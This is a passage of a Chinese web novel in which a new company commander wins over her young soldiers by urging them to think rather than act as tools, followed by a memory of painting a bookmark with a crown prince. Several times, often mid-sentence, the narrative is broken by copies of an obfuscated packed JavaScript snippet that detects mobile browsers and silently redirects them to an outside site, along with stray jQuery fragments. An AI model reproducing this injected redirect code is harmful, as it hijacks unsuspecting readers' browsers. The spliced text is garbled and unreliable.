“好吧。唉,连长她还是望渊的,望渊可是我当初最想上的军校啊,可惜差了几百名,失之交臂。”布莱尔怅然道。 “所以说这就是缘分,你一会正好可以借此让连长多讲讲望渊的事情。该死,你还能说失之交臂,我当年的成绩都完全不敢想望渊,只能勉勉强强上阿尔嘉军校。”一队队长白越说。 “有什么不满意的?阿尔嘉军校,算来你和营长还是校友,前途无量。”布莱尔说。 在一旁听他们对话的士兵们哄堂大笑。 “连长什么时候来?以你们的话来推测,她今天上午的训练肯定是会到场的。”布莱尔又问。 “太好了,有连长的话终于不用我来代训了,轻松一大半。至少训后不用看其他两个连长的脸色。”白越说。 “他们还敢给你脸色看吗?”布莱尔问。 “怎么不敢,人家是连长,我是队长,官大一级压死人懂吗?而且我们三连只是预备连。一连的还算好,二连连长压根没把我放在眼里。”白越说。 “二连究竟有什么好嚣张的,到战场上他们也只是辅助一连作战罢了。”布莱尔恼怒道。 “没办法,大概因为他们连长冯·莱恩出身比较好吧,毕业的军校也很不错。”白越显然习以为常了。 “出身真显赫的话怎么会跑到我们这来,显然也没有好到哪去,只能在我们面前嚣张一下喽,落魄贵族那点可怜的自尊心。就该让他领教一下我们连长那张嘴,保证他无话可说。”吴肖利吐槽道。 众人都笑了,布莱尔问:“连长真那么能说会道吗?肖利,印象里你已经是我见过最能说的人了。” “语言很难描述,二队你到时体会一下就好了。”吴肖利确信地点点头。 “说来其他两个连长也没有到,想来是高层在召开什么会议。”白越说。 “我想是让他们认识一下我们连长吧,毕竟过一两个月就要上战场打配合了,几个主官肯定要互相熟悉。嘘——嘘——全部站好,我看到他们过来了!”布莱尔压低声音说。 远处,三位军官朝这里走来,其中很明显有个身高较旁边二人矮了一大截。 “好娇小啊连长,这样的身高不利于她建立威信。”布莱尔担忧地说。 “是吗,我看她根本没有这个忧虑,她走路超自信的,比他们都领先半个身位。”白越说。 三位军官停住脚步,其中那位个子最高、金发碧眼的军官冷淡地冲其他两人点点头,就走向二连的方位,一派目中无人的模样。他正是二连连长冯·莱恩。 剩下两人压根没把他这副态度放在心上,他们默契地忽略掉他。洛暮对身边的一连连长笑道:“那我也先过去了,李连长,一会我们再聊。” 一连连长李秋阳今年二十四岁,性格风趣幽默,长相也格外端正,学生时代应该是很受女生欢迎的那种类型。早晨洛暮和他一见面,两人就相谈甚欢。他们情商都不低,对很多事情见解也相同,心里对作为同僚的对方十分满意。 “如果洛连长还有什么问题,随时乐意解答。”李秋阳说。 “感谢李连长,有你这句话,我必常来打扰,给你多多的教诲我的机会。”洛暮说。 他们一齐笑了,她挥手道:“走啦!” “好哦,连长过来了。”布莱尔望着那边说。 “看样子她已经把一连连长拿下了,这很好。”白越说。 “我们是不是该装作在训练的样子。”布莱尔回头看着他。 “我同样在思考这个问题。”白越也看着布莱尔。 “但现在是不是有点刻意了?”布莱尔问。 “我也觉得有点刻意了。”白越说。 他们面面相觑,再回头洛暮已经快走到他们面前了,他们一齐站直迎向洛暮,带领全连齐刷刷向她敬礼:“连长好!” 洛暮也停住脚步,站在原地郑重地回礼:“大家好。” 随即她露出笑容,问:“那还需要我介绍自己吗,还是说已经有人把我大大宣扬了一番?” 白越忍俊不禁,布莱尔笑着大声说:“吴肖利已经把连长宣扬过了,但我们还是想听您自我介绍一下。” “这很好,吴肖利战士,你的情报工作做得很不错,表扬一下。”洛暮点头道,“不过我先不急,等会再介绍,让我先来认个人。” 布莱尔愣了一下,想起来这还是洛暮第一次见到三连的人,她肯定要对着名单一一认一下,立刻说:“报告连长,我是三连二队队长布莱尔!请稍等,我去给您拿名单表。” “没关系,不用麻烦的,布莱尔。”洛暮说,“我当然知道你,优秀的二队队长,毕业于帝国排名第三的克洛艾军校。还有白越队长,说起来你和营长是校友,以后一定要在营长面前多多为我们三连美言。” 大家又笑了起来。 白越笑着说:“不敢不敢,我先在连长面前为自己美言几句。” 洛暮闻言笑了,她缓缓扫过三连的每一张面孔,说:“我们三连的战士,除去两个队长一个连长,总共九十六人,白越队长,今日实到多少人?” “报告连长,实到九十五人,生病请假一人!”白越说。 “好,听我口令,全体坐下!”洛暮说。 所有士兵立刻坐下,九十五双眼睛牢牢地看着这个女军官。她看上去年纪很小,面带微笑,但下达指令时身上有种令人信服的威严,语气也相当干脆坚定。 洛暮走到第一列第一个士兵面前,他正是高余。 “高余,十九岁。”洛暮说。 “是,连长!”高余回道,情不自禁地笑了。 她报出这列第二个士兵的名字:“于岭,十八岁。” “是,连长!”于岭眼睛亮晶晶地回道。 洛暮接着报出几个名字,又走到下一列。她的眼神每落到一个战士身上,就说出他的姓名和年龄。九十五个人,她没有认错一个,精准得犹如机器。每个被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096872|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她点到的人都无比激动,完全没有料到素未谋面的连长能做到如此地步。 布莱尔目瞪口呆,她悄悄地对白越说:“不愧是望渊出来的。” 白越盯着洛暮的背影,敬佩地说:“我现在都不一定能认全。不愧是望渊出来的。” 很快,洛暮认全了九十五个战士,她回到队列最前面,微笑着说:“请病假的是潘恩。” “是他,连长。”白越说。 洛暮冲白越点点头,说:“我晚上去看看他。” 她再扫过三连的全体战士,就当白越以为洛暮要下令全体起立时,她忽然也坐下来了,坐下后还示意自己的两个队长也照做,并且招呼士兵们:“都坐近点,合拢队形。” 远处,其他两个连都不解地看向最里侧的三连,不明白他们这是搞哪一出。二连的连长冯·莱恩训斥道:“看什么看!做你们自己的事,连这点程度的训练都做不到,拿什么去打仗?!” 他手下的兵经此一喝,立刻噤若寒蝉,只敢偷偷地向那边张望。 一连则稍微和平一些,提醒士兵继续训练后,一连的三个队长走到李秋阳面前。李秋阳此刻也正全神贯注地看着三连的方向,其中一个队长问:“连长,三连在做什么?” “我也不知道。”李秋阳说。 又有一个队长问:“那您觉得三连连长是个怎样的人?” 李秋阳这下认真想了想,慢慢地说:“是个很有意思,很有想法的人,和她共事感觉会非常愉快。” 三连的两个队长也跟着洛暮坐下了,将近一百人坐在训练场上,他们的目光全部聚集在洛暮身上。洛暮说:“那么现在让我介绍一下自己,我叫洛暮,是你们的连长。然后就结束了。” 三连一片静谧。这真是史上最简单的自我介绍。 吴肖利最先打破沉默,他问:“连长你就搞这么大阵仗就说这几句话吗?” 洛暮笑道:“我觉得只有这些可说,你们想问的话可以随便问啊。我不擅长介绍,我擅长回答问题。” 布莱尔问:“连长你能讲讲望渊的生活吗?” “你们都这么好奇望渊的生活吗?我总感觉所有见到我的人都要问一下。其实它就是普通军校啊,管得甚至还松弛很多。这点大大便宜了我,我那时逃课就像呼吸一样自然。”洛暮说。 众人哄堂大笑,气氛顿时轻松了很多。布莱尔笑着问:“连长居然会逃课?” “为什么不逃?没用的课就大胆地逃,放肆地逃。过程不重要,重要的是结果。秉持这个理念,我课没少逃,军事素质却还算过关。”洛暮说。 “我很赞成,有些时候军校的课真的很无聊,我也是能逃就逃了。”白越说。 “很好啊,英雄所见略同。布莱尔想来是好学生那一类?”洛暮对他表示肯定。 “是的,我就是那种每节课都认真听讲,告诉自己学校开设的课程肯定有其深意。但是来到军队后,发现学的知识大多没什么用处。学生时代真是蠢啊。”布莱尔说。 “不,你这才是值得我们学习的对象,吊儿郎当成不了大事。大家都要向二队学习,踏踏实实做人,明白了吗?”洛暮说。 “明白了——”大家笑着拉长语调回答。 11. 阿德尔玛的连长(四) “那望渊会有很多达官显贵吗?比如说大公爵的女儿!机要大臣的儿子!”有个士兵问。 “当然,这种绝不会少的。我隔壁寝室就住了个公爵小姐呢。”洛暮说。 众人发出“哇——”的惊叹声。 “公爵小姐漂亮吗?”有人问。 “忘掉了,应该还可以吧,只记得她隔几天换个发色,想来没有漂亮到能让我一眼记住的地步。”洛暮说。 “阿纳斯塔西亚的饭好吃吗?听说那里的物价很高,真的吗连长?”高余问。 “饭菜的话,我一般都在学校吃,有餐费补贴,个人觉得食堂的饭还可以。物价自然超级高,非必要我绝对不出去吃饭。因为你永远不知道他们会不会一瓶水就问你要五十元。”洛暮说。 “一瓶水五十?”旁听的白越神色大变。 “是的,而且还没有标签,你拿到前台扫码才知道价钱,精准利用人好面子的天性,使你咬碎牙齿和血吞。”洛暮说。 “连长你不会当时就认栽了吧?”高余担忧地问。 “这怎么可能!我当时像见了鬼一样放下水就溜之大吉,一点反应的机会都没留给他们。毕竟再狠狠不过我们穷鬼,是吧?”洛暮说。 “连长英明啊!” 高余直呼。 士兵们哈哈大笑起来。基本上来当兵的家里大富大贵者少,听到洛暮这样描述自己的生活,不由得对她更生几分亲近。 帝国的军队里没有什么爱兵如子的传统,大部分主官都趾高气扬,严格奉行我之下壁垒分明我之上人人平等的准则,像洛暮这样的连长实属罕见,他们颇觉激动。 “好啦,大家也尽管讲讲自己的生活。谁先来说说?”洛暮问。 她这话一出,底下人纷纷左顾右盼,挤眉弄眼,你推我我推你,大有一种跃跃欲试又故作姿态的样子。洛暮笑道:“都来当兵了,怎么还忸怩起来了?以后这种时候都要踊跃发言。人要学会表达自己才能说服他人,这点有利于我们上战场劝降敌人,兵不血刃。” 又是哄堂大笑。布莱尔一边笑,一边理解为什么吴肖利点评洛暮能说会道了,这个新上任的连长每句话都格外幽默,大概是种天性。 “或者我来给出个命题,大家是为什么来当兵的?举手发言,让我也来了解一下你们。”洛暮问。 吴肖利第一个举手。 “来,肖利!”洛暮点他。 “我是为了建功立业来的。”吴肖利说。 “这很好,有志向是件了不起的事情。我记得肖利你是退学来参军的,勇气可嘉,值得我们学习。相信你一定可以做到。”洛暮赞许地点头。 “谢谢连长,借你吉言。”吴肖利居然有点脸红,很有种学生时代被老师表扬的羞涩感。 “顺便容我多问一句,你渴望建功立业的背后,是不是还有一个漂亮女孩等着你回去风风光光地迎娶?”洛暮说。 大家哄的笑了,空气里弥漫着快活的气息。高余大笑道:“连长你料事如神!你怎么知道的!肖利他是有个女朋友,长得非常漂亮!” “是这样的,我们都知道!他有事没事就把女朋友照片拿出来,所以我们全都看过了。”有士兵说。 吴肖利英俊的脸彻底红了,他说:“去去去,你们真是看热闹不嫌事大。” 他又看向洛暮,支支吾吾地问:“连长是怎么知道的?” 就算你真是查户口的也不可能查到这种事情吧! “我随便猜的。想着以你的才貌应该不缺女生喜欢,刚才的回答又颇具浪漫主义气息,让我想起一首歌,我想想怎么唱。好像是‘我辞别了我心爱的姑娘,踏上征程。路过她家门的……’”洛暮顿了顿,似乎在思考下一句,但很快就放弃,“后面的调子忘了,大概是这个感觉。” 众人目瞪口呆。 洛暮问:“怎么?我唱得有那么难听?” “不不不,连长你怎么知道他天天就哼这首歌。连长真的没有什么读心术吗?怎么什么都能说中。”高余震惊地说。 吴肖利一副要晕过去的样子,说:“以后绝对不能说连长半句不好!太可怕了!” “别紧张别羞涩,主要是这首知名度广,你但凡哼首小众的我都不会猜到,纯属巧合。大家不要怪力乱神。”洛暮淡定道,“下一个,谁还想说说自己的志向?” 白越提议:“不如连长你猜吧,展示一下你的读心术。” 洛暮说:“真的没有读心术。我要是有读心术肯定天天溜达在阿纳斯塔西亚的街头读所有人的心,然后办个杂志刊登花边新闻,这样子岂不赚得盆满钵满。” “现在去实施也为时不晚。”白越坚定地点头。 “是的,把我们都带上吧。连长得道,鸡犬升天。”布莱尔说。 “然后就因为得罪太多达官显贵被抓进去,吃上几十年的牢饭,从战友变狱友是吧。”洛暮说。 他们开怀地笑了。 “不过一队的提议不错,让我来猜猜,我们中间有没有听家里的话来参军的。就是那种爸妈说孩子你去吧,当兵领军饷有前途,正适合你去拼搏。有没有这种的?”洛暮问。 连队里传来低低的笑声,高余说:“好吧,其实我就是这种。” “其实我们也是这种。”又有一批人说,人数居然占连队的一大半。 “那大家是怎么想的?大胆地说,不要有顾虑。” “嗯……没什么想法。反正也大学也读不起,打工又太无聊,还不如来当兵,至少爸妈说起来脸上也有光。”高余说。 “想法很真实啊。但是你现在来当兵和之前意味是不同的。现在是战争期间,我们都是要上战场的。很危险,会死人,高余有想过这方面的问题吗?”洛暮问。 高余愣住了,说:“我没怎么想过。” “其他人呢?大家有想过吗,类似的如果我们牺牲了的设想?”洛暮问。 布莱尔和白越听到她的问题,不由得对视一眼,沉默不语。 洛暮来之前他们讨论过怎么带领三连的问题。得出的结论是尽量回避战争的话题,因为他们手下的兵甚至包括他们自己都只是没什么经验的新人,由于战争动员令急匆匆出现在这里。 他们不敢提死亡、战争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096873|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些敏感的词汇,害怕吓到这群新兵,也像是自己在逃避。只需要服从命令就好了。剩下的就先不思考了,上面自然会决策的。两个军官心安理得地告诉自己。 这种想法没有任何错,帝国的教育就是如此。帝国从未提倡过探索未知、思考未知。在人们的观念里未知是件可怕的事情。而人只要思考就会遇到未知,所以很多情况下,他们会主动放弃思考。 现在洛暮猝不及防抛出这样血淋淋的问题,如此尖锐又如此无法回避,让他们觉得如芒刺在身。 “我应该算是想过。”吴肖利说。 “好,说出来,肖利。”洛暮对他点头。 “连长你知道,我的目的比较明确。我就是想上战场立点功,扬眉吐气一把。就跟做生意一样,投资你就得冒风险,没风险怎么会有收益?我来之前想好了,如果死在这,反正会发一大笔抚恤金。光脚不怕穿鞋,我家还有个弟弟,无所谓了。”吴肖利说。 真是孩子气的想法啊。洛暮心想。这群年轻人,他们根本不知道自己要面临的是什么,他们怀揣着一颗懵懂的心来了,却完全没做好成为一个军人的准备。他们才学会用枪,就要投入到战场上去,被未知和死亡一下子摧毁。 这样的军队怎么能够活下来呢?就算有人能活下来,活着熟悉战争学会战争,那他所付出的代价一定非常高昂,也许是所有战友的生命。 “很勇敢,肖利。我问你几个问题好吗?”洛暮说,她又看看专注听讲的其他人,补充道,“大家有答案也可以直接说。” “第一个,什么是战争?”洛暮问。 “就是……打仗?你打我我打你。”吴肖利说。 “对,那第二个问题,我们的敌人是谁?我们要打谁?”洛暮问。 “叛军。”吴肖利说。 “叛军是什么样的?他们为什么叛乱?他们和我们的实力对比如何?” 吴肖利笑了,他当然不知道。 “我们为什么要和他们战斗?现在战场上的局势是怎样的?” 吴肖利沉默,他答不上来,士兵们也没有人能回答。两个队长脸上浮现出疑惑的表情,他们不理解洛暮为什么要问这些问题,甚至身为军官他们自己都不知道答案。 有人小声地说:“连长,这些我们也没必要知道啊。” 布莱尔好心地解围道:“是的连长,这都是上面的人要考虑的。” 洛暮轻轻地摇头,说:“不,这些我们都要知道。因为上面的人不会去打仗,打仗的人是我们。我希望大家不要觉得这些事情只有军官才有资格知道,才能去思考。错了,我们都有知情的权利,都有思考的权利。” 她说话的时候表情非常严肃,于刚才的笑容满面形成鲜明的对比。这种反差让所有人不由自主地挺直背,去看他们的连长,静静等待她的下文。 洛暮说:“如果我们什么都不思考,没有自己的判断,放弃自己的能动性,对战场一无所知。那我们就不是人,而是工具。工具是什么?是损耗品,坏掉了有的是。只有工具才不需要思考,因为它好用就行了,我们是工具吗?” 12. 阿德尔玛的连长(五) 洛暮的问题出来后,一片静默。良久,吴肖利率先说:“当然不是。” “很好,”洛暮点头,“正因为我们是人而非工具,才必须要理解自己的处境,做出最合适的判断。战争是很残酷的,我们也许会面临艰难的处境,会遭遇重大的伤亡。而假如我们没有做好准备去接受这一切,到了战场上遇到突如其来的打击就会绝望和怀疑自己,被情绪击垮,接着失败,轻飘飘地死去。最后变成一个数字在大人物眼里轻轻地过了一下,无人在意。” 她说到这里微微笑了,很难描述这笑容究竟意味着什么,既像是自嘲又像是自怜,或许二者皆有。她说:“大家是不是会想,天呐这不是工具是什么,工具都难以形容了好吧,简直是消耗品和灰尘。可大人物心里我们只配扮演这种角色,他们呼口气我们的世界就天塌地陷了。” 三连的上空静悄悄的,隔壁传来冯·莱恩刻薄的训斥声,士兵急促的呼吸声,两边泾渭分明,一方兵荒马乱一方沉寂如山。三连所有人都艰难地呼吸着,否则他们就要窒息在这凝重的氛围里。 布莱尔聚精会神地望着洛暮,她没法反驳这个新来的连长。洛暮说出来的每个字都像是有魔力,你没法不认可她,你没法不听她说下去。布莱尔的身边,白越低着头揪地上的草叶,神色恍惚。 “确实如此,但又能有什么办法?”吴肖利喃喃道。这个人真奇怪,她究竟在说些什么啊。你是一个连长,那就随便支使士兵就好了,干嘛要说这些,这些毫无关联的……叫人悲哀的话。 “眼下没办法,不代表未来没办法。只有活下去才有希望对不对?”洛暮说,“接下来并肩作战的日子里,我希望大家牢记一点,我们是人。我们经受过教育,具备思考能力,身上或多或少还寄托着家人的希望。即使整个世界都把我们当做工具,但我们自己绝不可以这样想。我们要活下去,要打赢胜仗,我们要知道自己为什么而战想得到什么。那么现在重新思考一下,为了赢得更多活下去的可能,我们了解战局、分析局势,是不是都很有必要?” 洛暮的语气很平静,这些话换一个从小接受过演说训练的人来说,一定会讲得慷慨激昂面红耳赤。但她只是用最温和的口吻来描述,不带任何煽动的意味。 她的表情一直停留在微笑这个层面,眉头微微皱起,这使她的形象忽然变得扑朔迷离矛盾重重。 这个形象让吴肖利记了很多年,后来他会在录制节目时说起青年时代的洛暮,他说元帅那时候哪像一个十九岁的年轻人,某些瞬间她仿佛突然老去了,犹如疲惫数百年的旅人,风尘仆仆满怀忧虑,生年不满百常怀千岁忧说的就是洛暮元帅这种人。听众都笑了,吴肖利也笑。主持人又问那您呢?吴肖利说我呢,我那时候也不是什么将军,我只是她手下的一个小兵,我们那时候都只是她手下的小兵,我们那时候都很年轻,还有些人永远那么年轻了。 洛暮没有停下来,她仍在继续说,声音不大但足够铿锵有力。 “我不愿意大家像工具一样上到战场,所以我认为我必须要将我所学的,我所知道的不遗余力地教导给你们,好让我们能赢得胜利,能活下去,有朝一日走到高处,不再做工具。也许你们会觉得没有用处,可我总觉得这样才不算辜负你们,才能做你们的连长。” 她说这话时脸上又泛起了红晕。洛暮真讨厌抒情,她会不好意思,甚至觉得很罪恶。陈砚泽偶尔说洛暮善于打动他人时,她就不高兴,因为这个形容让她想起那些夸夸其谈挥霍民意的政客。所以她想要以诚待人时,往往会竭力克制自己的情感。可她的情绪太丰富了,它们总是不受控制地倾泻出来,在她身边的人心里泛滥成灾。 吴肖利自始至终都看着洛暮,他心想这个人明明也就十九岁嘛,算起来年纪比连队一大半人都小,但她怎么会拥有这样的神情,像一个温柔的姐姐像一个严厉的母亲。听听她说的话啊,不要把自己当做工具,可是你从小到大整个世界都在逼你把自己变成工具。 三连里有人捂住脸低低地哭泣。谁知道他们想到什么了呢,也许是想起来离家的那个时刻?他们坐在征兵的卡车里,母亲站在人群里,她拼命地踮起脚向车里张望,脸上的神色欣慰又忧郁。 欣慰是她发现你居然长大到可以一个人远行了,又惊又喜。忧郁是她看着你离开时倔强又小小的背影,意识到你其实还是个孩子,却马上要一无所知又满怀期望地投入到那个坚硬冰冷的世界。这个正在老去的女人不由得想起自己第一次面对世界时惊恐的样子,一瞬间牵肠挂肚惶然无措。 她呆呆地目送你走远,背过身忽然大哭起来。 洛暮的话触动了这群年轻人的心,他们离开家乡离开家人,以为自己就要变成钢铁变成强者。他们甚至还偷偷讨论过如果新来的连长像冯·莱恩那样,要怎么和他斗智斗勇免得沦落到二连那样悲惨的下场。结果现在这群野性蓬勃的人全都丢盔卸甲,莫名其妙地在新来的连长面前哭得像个傻子。 吴肖利最先从这种气氛中缓过来,他觉得自己该说点什么,因为连长她面对自己流泪的战士们居然陷入了沉默,看上去她很想说点什么慰藉的话,但这对她好像是未知的领域。他咳嗽了一下,大声说:“行啦行啦,有什么好哭的。哭能解决问题吗?哦老天,高余,你这哭得还怪梨花带雨的。” 高余擦干眼泪,小声说:“你以为我想哭,就是突然绷不住了。” “丢人,连长的意思明明是让你们好好学习,结果你们还哭起来了。”吴肖利作鄙夷状,他又转向洛暮,十分谦虚好学的样子,问:“那连长你准备什么时候给我们扫盲?我已经迫不及待了,快来引领我们走进知识的殿堂吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096874|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “时间紧迫,我计划的是今天就开始,大家有什么意见吗?”洛暮说。 大家当然没意见。 这时候洛暮终于迟缓地组织好了安慰的台词,她把它们颠三倒四地说出来:“嗯,其实我刚刚说得也比较夸张,大家可能有点伤感。但没关系,不都说人生有泪不轻弹,只是未到伤心处。很正常啊,我当年离开家刚到军校也是很难过的。没关系,以后想哭了随时欢迎到我面前哭。反正以后就是自己人,自己人面前……好吧,没必要特别坚强。” 她安慰人时笨拙的样子和刚才的气质有点违和,布莱尔噗的一声笑出来。随着二队的笑,许多士兵也跟着打起了哈哈,好像要赶紧把刚才忧伤的氛围一扫而空。他们说没事刚刚不过是小小伤感了一下连长你不要在意,我们其实很坚强的就是突然没忍住。 吴肖利始终没有忘记上课的主题,他问:“那连长你接下来上课的时候会不会很严格?” “你猜。”洛暮露出微笑。 “我觉得会。因为你看上去很像严师出高徒的那种。”吴肖利说。 “很好啊,你非常有觉悟。接下来的军事训练我是会非常严格,毕竟战场不是儿戏,我们多一分能力多一分胜算。当然啦,军事训练上我一定会和大家共进退的。但理论知识战场局势之类的我会讲得详细一些,有什么不会的尽管提问。”洛暮说。 “共进退?连长你和我们一起训练吗?”高余吃了一惊。 “这不是理所应当的吗?”洛暮说,“奇怪,你们怎么都一副不可置信的样子。不相信吗?我一直对自己的军事素质很有自信。” “那真的要拭目以待一下了。”布莱尔笑着说。 洛暮微笑道:“好啊,拭目以待吧布莱尔。我也允许大家持保留意见,一会就证明给你们看。好了,时间不早,我们先解散吃饭。快快快,站起来,赶在其他两个连前面。” 她说着就身体力行地从地上爬起来,刷拉一声三连所有人也都站得整整齐齐,跟随着他们一马当先的连长,有条不紊又气焰嚣张地从一连二连身后穿过,走出训练场。 “我们这样是不是有点太张扬了,其他连还在训练。”白越低声问。 “怎么会,现在距离规定的训练结束时间过去了五分钟,很显然我们才是恪守规矩的那个。”洛暮说。 “结束时间只是理论上的,一连和二连都会额外再训练半个小时,类似于那种隐性规则。”白越紧张地说,他担任代理连长时因为这些规矩已经有些神经衰弱了。 “那就让他们训好了,吃饭不积极,思想有问题,我并不觉得多训的这半个小时能起什么决定性作用。”洛暮冷笑道。 “连长说得对。”饱受摧残的白越一万个赞同道。 “连长说得太对了。”其他人也十万个赞同道。 13. 小小的宇宙(一) 洛暮回到房间,眼下正是午休的时候。她点开手环,看到上面弹出的第一条信息。 “洛暮连长,你提交的室内训练场的使用申请已通过。” 她懒懒地滑过这条消息,点开聊天栏。最上面的联系人头像是一个黑白线条勾勒出的长发女生,神色冷淡,一副厌世的模样。她放大看了看,心里吐槽陈砚泽怎么换了这样一个笔触简陋画技生疏的头像,气质更是与她本人大相径庭,大概又是她从哪个网站上搜罗到的“酷姐”风格头像。洛暮鉴赏完后,发出消息:“上任第一天,疲惫。” 发完洛暮就退回到聊天栏,黑白女生头像下面是一只深绿色颜料绘制成的小猫。小猫闭眼侧躺着,沉睡在一堆更鲜嫩活泼的绿色树叶里。 如果有人看到备注一定会毛骨悚然,不敢相信这居然是皇太子林晖的私人账号头像,它的风格分明与孤傲冷淡的林晖毫无关联。 显然小猫是手绘出来的,笔触细腻,颜色鲜亮。它的实体夹在洛暮的日记本里,是一张方方正正掌心大小的硬卡片。卡片被塑封过,免得来回翻弄出现磨损。它背面有着“林晖”的签名,字迹美观端正,一看就是从小刻苦练习过。 这只小猫诞生在某节绘画课上。 那天洛暮一边在心里抱怨望渊净开设些附庸风雅的课程,一边躲在画室的隐蔽的角落写她的日记。她写日记时也不忘耳听六路眼观八方,警惕性极强。有人出现在她的感知范围内,洛暮啪的把日记一合,装模作样地看着自己潦草的画作。 她听见头顶传来轻轻的嗤笑,抬眼就看见那双标志性的绿色眼睛。洛暮当即冷笑道:“你这是被我的大作震撼了?” “好一幅大作。绘画课的作业布置下来也有三周了,这就是你的成果?”林晖说。 “殿下有何高见?”洛暮说。 “不敢指点你,下节课就要交作业,但愿你能拿个及格。”林晖说。 “无妨,到那时弗吉尼亚会出手救我于水火之中的。况且我已经尽力了,选修课而已,老师不会为难我的。” “你的尽力是指连颜料都没拆封?”林晖毫不留情地说,他的目光停留在洛暮身边完好的颜料盒上。 “画重在意境,上色反而是画蛇添足。”洛暮一点不心虚。 林晖笑了笑,在她身边坐下,端详洛暮的画。洛暮沉默一下,很想找张纸把它盖上,但这样岂不是显得她气势不足?于是她也似笑非笑地坐着,全神贯注地看着画面的空白处。 “这是什么?”林晖指着上面铅笔绘制的杂乱无章的阴影问。 “怎么,你看不出这是一座山吗?”洛暮冷冷地反问。 “哦,”林晖指着底下的两道横线说,“那不出意外这就是河了。” “这证明你还算有鉴赏力。”洛暮沉着地回答。 林晖忽然大笑起来,笑罢很是愉悦地说:“果真是大作。” 他平日里鲜有笑容,有也是以讥笑冷笑为主,如今这般真心实意的大笑,让他一下子脱离了那个不苟言笑的皇太子形象,看上去更像个秀美恣意的少年,气质明快鲜丽似春日栗树的第一簇嫩芽。 只要不傻都能听出来林晖话里的嘲笑之意,洛暮倒也无法反驳。她对自己的艺术天赋还是很有自知之明的,再看那张画也不免觉得好笑,只好岔开话题:“那你的大作呢,拿出来让我看看?” “在大师面前,不敢班门弄斧。”林晖戏谑道。 洛暮真的感到有点不好意思了,她在林晖带着笑意的注视下眼疾手快地卷起画,说:“有什么不敢?大师又不会笑你。而且听说皇后陛下很擅长画画,在她的熏陶下,你说不定也有一手高超的画技,快让我开开眼。” “你很好奇?”林晖问。 “不,也没那么好奇。”洛暮微笑道。 林晖轻轻地笑了,他的目光落在洛暮手边的日记本上,问:“这是什么?” “日记本啊。”洛暮拿起它,这是个极具分量的牛皮本,看上去已经用了大半。 “你还写日记?”林晖有些惊讶。 “为什么不写,生活不如意,我就写日记。在里面平等地攻击所有我讨厌的人,攻击完就觉得身心愉悦。”洛暮淡淡地说。 “这确实是你的作风。”林晖说。 他仿佛不在意地把视线从牛皮本上移开,心里却莫名地想知道里面有没有关于自己的内容。这时洛暮随口提到:“这个日记本上军校后就开始用了,最近不知道为什么总想给它买个书签,可能是它真的厚重得像本书了。” “我母亲会用她自己画的小卡片做书签。”林晖说。 “很不错的主意,我正好觉得市面上的书签造型非常庸俗。手工绘制总比机器做出来的有温度,皇后陛下很有品味。”洛暮表示赞同。 她记起来媒体上看到的皇后也有着一双翡翠般的眼睛,看来林晖的美貌很大程度是遗传自母亲。想到这,她情不自禁地又看了眼林晖,正对上那双剔透美丽的绿色眼睛。洛暮心中剧烈一跳,几乎忘记要说什么。 “你准备自己画吗?用你那出神入化的画技。”林晖说。 “想想也不可能吧,我自己什么水平还是清楚的。也许回去求弗吉尼亚画一张,也许过两天就不想要书签了,毕竟只是一时兴起。”洛暮说。 “你想画什么样的。”林晖平静地说。 “怎么,你要屈尊给我画一张?”洛暮调侃道。 “是啊。”林晖说。他露出一丝微笑,意有所指地看向洛暮卷起来的作业,“准确的说,我是想让你看看什么叫真正的绘画。” 洛暮窘迫道:“那真是拭目以待。” 确定好目标,两人的行动力又强得过分,立刻就做起准备工作。 洛暮找来新的画纸,把它裁成小张。这个过程中,林晖在她身边从容不迫地调颜料,时不时到纸上涂抹两下,神色专注,仪态赏心悦目。洛暮把裁好的纸固定在小画板上,恭敬地问:“大画家,您看现在可以吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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再也不会有这样静谧安和的下午,窗户上影影绰绰是树枝的影子,光束投射在他们身侧,空气里细小的颗粒慢慢地漂浮,说不清是在升起还是落下。二楼传来同学的对话声,有人走过他们头顶的楼梯,木质梯子发出嘎吱嘎吱的声音,听着很不坚固,它确实是个老物件了。 但就是这个古董般的楼梯将他们与外界分割开来,没人发觉这里藏着一对年轻人。漫长的时间里,洛暮撑着头坐在一边,她已经把原来的位置让给了林晖,自己坐在更里侧。 林晖落下第一笔时,就全然忘记了外界。他心无旁骛地投入到绘画中去,眼中的绿色与笔下的绿色几乎交融一片,美好到让人想起童话里无边无际的葱郁森林,里面住着使用银弓的精灵,他们额间的绿宝石吊坠纯净到让人心碎。 